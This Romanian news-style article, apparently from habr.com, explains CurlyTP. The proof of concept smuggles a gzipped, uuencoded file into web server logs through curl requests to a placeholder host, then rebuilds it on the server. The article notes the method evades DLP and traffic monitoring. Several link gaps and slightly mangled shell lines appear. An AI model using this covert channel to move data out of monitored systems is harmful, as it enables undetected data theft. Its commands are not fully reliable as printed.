Conform definiției din Wikipedia, un loc de întâlnire (dead drop) este un instrument de conspirare folosit pentru schimbul de informații sau obiecte între persoane care utilizează o locație secretă. Ideea este că oamenii nu se întâlnesc niciodată, dar schimbă informații, menținând securitatea operațională.
Locul de întâlnire nu trebuie să atragă atenția. De aceea, în lumea offline se folosesc adesea lucruri discrete: o cărămidă liberă în zid, o carte din bibliotecă sau o scorbură în copac.
Pe internet există multe instrumente pentru criptare și anonimizare, dar faptul de a folosi aceste instrumente atrage atenția. În plus, ele pot fi blocate la nivel corporativ sau guvernamental. Ce este de făcut?
Dezvoltatorul Ryan Flowers a propus o variantă interesantă — . Dacă ne gândim, ce face un server web? Primește cereri, furnizează fișiere și scrie jurnalele. Și el înregistrează în jurnal toate cererile, chiar și cele incorecte!
Se dovedește că orice server web permite salvarea în jurnal a unui mesaj practic arbitrari. Flowers s-a gândit cum să folosească asta.
El propune următoarea variantă:
- Luăm un fișier text (mesajul secret) și calculăm hash-ul (md5sum).
- Îl codificăm (gzip+uuencode).
- Îl scriem în jurnal printr-o cerere deliberat incorectă către server.
Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt
[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's\ / =+=\g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | shPentru a citi fișierul, trebuie să efectuezi aceste operații în ordine inversă: decodifică și dezarhivează fișierul, verifică hash-ul (hash-ul poate fi transmis în siguranță pe canale deschise).
Spațiile sunt înlocuite cu =+=, pentru ca în adresă să nu existe spații. Programul, pe care autorul l-a numit CurlyTP, folosește codificarea base64, așa cum se face în atașamentele de e-mail. Cererea se face cu cuvântul cheie ?transfer?, pentru ca destinatarul să-l găsească ușor în jurnale.
Ce vedem în jurnale în acest caz?
1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET \/?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET \/?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET \/?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP\/1.1" 200 4050 "-" "curl\/7.29.0"Așa cum s-a menționat, pentru a obține mesajul secret trebuie să efectuezi operațiile în ordine inversă:
Mașină remote
[root@server \/home\/domain\/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's\/=+=\/ \/g' > g.txt.gz.uue
[root@server \/home\/domain\/logs]# uudecode g.txt.gz.uue
[root@server \/home\/domain\/logs]# mv g.txt.gz.uue g.txt.gz
[root@server \/home\/domain\/logs]# gunzip g.txt.gz
[root@server \/home\/domain\/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 gProcesul poate fi automatizat cu ușurință. Md5sum-ul coincide, iar conținutul fișierului confirmă că totul a fost decodat corect.
Metoda este foarte simplă. „Scopul acestui exercițiu este doar să demonstreze că fișierele pot fi transferate prin cereri web innocente mici, și că funcționează pe orice server web cu jurnale text obişnuite. Practic, fiecare server web este o ascunzătoare!”, scrie Flowers.
Desigur, metoda funcționează doar dacă recipientul are acces la jurnalele serverului. Însă un astfel de acces este oferit, de exemplu, de mulți furnizori de hosting.
Cum se folosește?
Ryan Flowers spune că nu este specialist în securitatea informației și nu va face o listă cu posibilele aplicații ale CurlyTP. Pentru el, este doar o dovadă a conceptului că instrumentele obișnuite, pe care le vedem zilnic, pot fi folosite în moduri neconvenționale.
În realitate, această metodă are o serie de avantaje față de alte „ascunzători” server pe tipul sau : nu necesită configurări speciale pe partea serverului sau protocoale speciale — și nu va ridica suspiciuni la cei care monitorizează traficul. Este puțin probabil ca SORM sau sistemul DLP să scaneze URL-urile în căutarea fișierelor text comprimate.
Este una dintre metodele de transmitere a mesajelor prin fișierele de sistem. Ne putem aminti cum, în trecut, unele companii avansate postau sau în codul paginilor HTML.

Ideea era că o astfel de „surpriză” ar fi văzută doar de dezvoltatorii web, deoarece o persoană obișnuită nu ar verifica anteturile sau codul HTML.
Sursa: habr.com
